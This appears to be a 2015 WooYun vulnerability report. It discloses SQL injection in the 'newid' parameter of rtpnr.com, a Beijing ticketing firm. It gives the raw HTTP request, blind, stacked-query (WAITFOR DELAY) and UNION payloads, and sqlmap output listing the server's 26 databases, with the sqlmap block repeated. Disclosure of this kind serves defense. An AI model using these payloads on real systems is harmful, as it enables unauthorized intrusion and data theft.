当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0113444

漏洞标题：北京中航易购某处sql注入

相关厂商：rtpnr.com

漏洞作者： depycode

提交时间：2015-05-11 16:02

修复时间：2015-06-25 19:08

公开时间：2015-06-25 19:08

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-11： 细节已通知厂商并且等待厂商处理中
2015-05-11： 厂商已经确认，细节仅向厂商公开
2015-05-21： 细节向核心白帽子及相关领域专家公开
2015-05-31： 细节向普通白帽子公开
2015-06-10： 细节向实习白帽子公开
2015-06-25： 细节向公众公开

简要描述：

RT..

详细说明：

POST /NewEdition/YeeGoNews/NewsDetail.aspx HTTP/1.1
Host: www.rtpnr.com
Proxy-Connection: keep-alive
Content-Length: 38
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.rtpnr.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.rtpnr.com/NewEdition/YeeGoNews/NewsDetail.aspx?Type=NewsDetails&newid=1231%27;waitfor%20delay%20%270:0:5%27--
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: ASP.NET_SessionId=tmmobsqew2uk3h55r31wng3m; Hm_lvt_6a6eed5fb68938503f53da6222456e44=1431329622; Hm_lpvt_6a6eed5fb68938503f53da6222456e44=1431329881; CheckCode=6014
Type=GetDetails&newid=1231


newid 存在sql注入。

' and '1'='1


17.jpg


' and '1'='2


18.jpg


数据库

sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Parameter: newid (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Type=GetDetails&newid=1231' AND 5264=5264 AND 'lEnQ'='lEnQ
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Type=GetDetails&newid=1231';WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 18 columns
    Payload: Type=GetDetails&newid=1231' UNION ALL SELECT NULL,NULL,CHAR(113)+CH
AR(106)+CHAR(118)+CHAR(120)+CHAR(113)+CHAR(81)+CHAR(105)+CHAR(106)+CHAR(90)+CHAR
(90)+CHAR(74)+CHAR(117)+CHAR(102)+CHAR(111)+CHAR(97)+CHAR(113)+CHAR(98)+CHAR(118
)+CHAR(106)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL--
---
[15:44:43] [INFO] testing Microsoft SQL Server
[15:44:43] [INFO] confirming Microsoft SQL Server
[15:44:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[15:44:44] [INFO] fetching database names
available databases [26]:
[*] AutoTicket
[*] BACKUP
[*] distribution
[*] master
[*] model
[*] MonitorBlocking
[*] msdb
[*] Temp2015
[*] tempdb
[*] tslwp
[*] YeeGo_BackUp
[*] YeeGo_History
[*] YeeGo_Order
[*] YeeGoCopy
[*] YeeGoLog
[*] YeeGoTemp
[*] YeeGoUser
[*] YeeSkyBillings
[*] YeeSkyGo
[*] YeeSkyGo_TEST
[*] YeeSkyGoLog
[*] YeeSkyGoLog_History
[*] Yeesoho_test
[*] YSK_SAAS
[*] YSK_SAAS_History
[*] YSK_SAAS_TEST
[15:44:45] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 17 times

漏洞证明：

sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Parameter: newid (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Type=GetDetails&newid=1231' AND 5264=5264 AND 'lEnQ'='lEnQ
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Type=GetDetails&newid=1231';WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 18 columns
    Payload: Type=GetDetails&newid=1231' UNION ALL SELECT NULL,NULL,CHAR(113)+CH
AR(106)+CHAR(118)+CHAR(120)+CHAR(113)+CHAR(81)+CHAR(105)+CHAR(106)+CHAR(90)+CHAR
(90)+CHAR(74)+CHAR(117)+CHAR(102)+CHAR(111)+CHAR(97)+CHAR(113)+CHAR(98)+CHAR(118
)+CHAR(106)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL--
---
[15:44:43] [INFO] testing Microsoft SQL Server
[15:44:43] [INFO] confirming Microsoft SQL Server
[15:44:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[15:44:44] [INFO] fetching database names
available databases [26]:
[*] AutoTicket
[*] BACKUP
[*] distribution
[*] master
[*] model
[*] MonitorBlocking
[*] msdb
[*] Temp2015
[*] tempdb
[*] tslwp
[*] YeeGo_BackUp
[*] YeeGo_History
[*] YeeGo_Order
[*] YeeGoCopy
[*] YeeGoLog
[*] YeeGoTemp
[*] YeeGoUser
[*] YeeSkyBillings
[*] YeeSkyGo
[*] YeeSkyGo_TEST
[*] YeeSkyGoLog
[*] YeeSkyGoLog_History
[*] Yeesoho_test
[*] YSK_SAAS
[*] YSK_SAAS_History
[*] YSK_SAAS_TEST
[15:44:45] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 17 times

修复方案：

过滤

版权声明：转载请注明来源 depycode@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-05-11 19:07

厂商回复：

感谢反馈！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-22 15:58 | Evil卍 ( 路人 | Rank:14 漏洞数:6 )

    牛儿，这属于http注入？